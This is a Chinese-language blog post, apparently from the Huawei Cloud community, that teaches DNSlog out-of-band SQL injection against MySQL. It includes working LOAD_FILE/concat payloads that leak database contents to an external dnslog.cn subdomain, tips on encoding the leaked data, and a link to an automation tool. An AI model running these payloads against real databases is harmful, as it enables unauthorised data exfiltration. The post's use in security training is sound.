注入有回显-DNS请求注入:原理、平台、使用过程、配置

举报
黑色地带(崛起) 发表于 2023/02/19 17:19:48 2023/02/19
【摘要】 注入有回显-DNS请求注入:原理、平台、使用过程、配置

注入有回显-DNS请求注入:原理、平台、使用过程、配置

 目录

一、DNS请求注入

1.1、DNSlog平台:

1.2、DNSlog注入原理

二、前提条件:

2.1、简介:

2.2、查看配置:

2.3、配置设置:

2.4、相关函数:

2.5、UNC路径

三、DNSlog注入过程:

3.1、第一步:Get SubDomain  获得域名

3.2、第二步:构造注入语句

3.3、第三步:查看域名头部,带出了查询的信息

四、DNSlongsqlinj工具




一、DNS请求注入

1.1、DNSlog平台:

http://www.dnslog.cn

http://ceye.io

http://admin.dnslog.link

1.2、DNSlog注入原理

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据


在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度



二、前提条件:

2.1、简介:

dns带外查询属于MySQL注入

在MySQL中有个系统属性,secure_file_priv特性,有三种状态

secure_file_priv为null    表示不允许导入导出

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制


2.2、查看配置:

手动打开数据库,新版phpstudy启动MySQL命令符图解过程 https://blog.csdn.net/qq_53079406/article/details/123047469?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165521166116782395352907%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165521166116782395352907&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-123047469-null-null.nonecase&utm_term=%E6%89%8B%E5%8A%A8%E6%89%93%E5%BC%80%E6%95%B0%E6%8D%AE%E5%BA%93&spm=1018.2226.3001.4450

是否配置好,打开数据库

编辑

 因为我的secure_file_priv设置过,所以没有任何限制


2.3、配置设置:

打开MySQL文件夹,打开my.ini配置文件

编辑


把这里改为空,如果没有这一段代码,则手动加上去编辑

然后重启数据库 




2.4、相关函数:

LOAD_FILE()函数

读取一个文件并将其内容作为字符串返回

语法:load_file(文件的完整路径)

此函数使用需要满足的条件

文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节



2.5、UNC路径

格式为

\\servername\sharename\……

 servername 是服务器名,sharename 是共享资源的名称



三、DNSlog注入过程:

3.1、第一步:Get SubDomain  获得域名

编辑



3.2、第二步:构造注入语句

(根据实际情况构造)

  select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))

  select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))

load_file()函数访问的是文件,所以域名后面需要添加/abc


成功注入后,在数据库中运行

编辑

编辑


3.3、第三步:查看域名头部,带出了查询的信息

编辑

注意:外带信息有特殊字符,如@

可以将查询语句后的结果进行转码

即上面的(select database())-------->hex(select database())等形式


四、DNSlongsqlinj工具

ADOOO/DnslogSqlinj (github.com) https://github.com/ADOOO/DnslogSqlinj



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。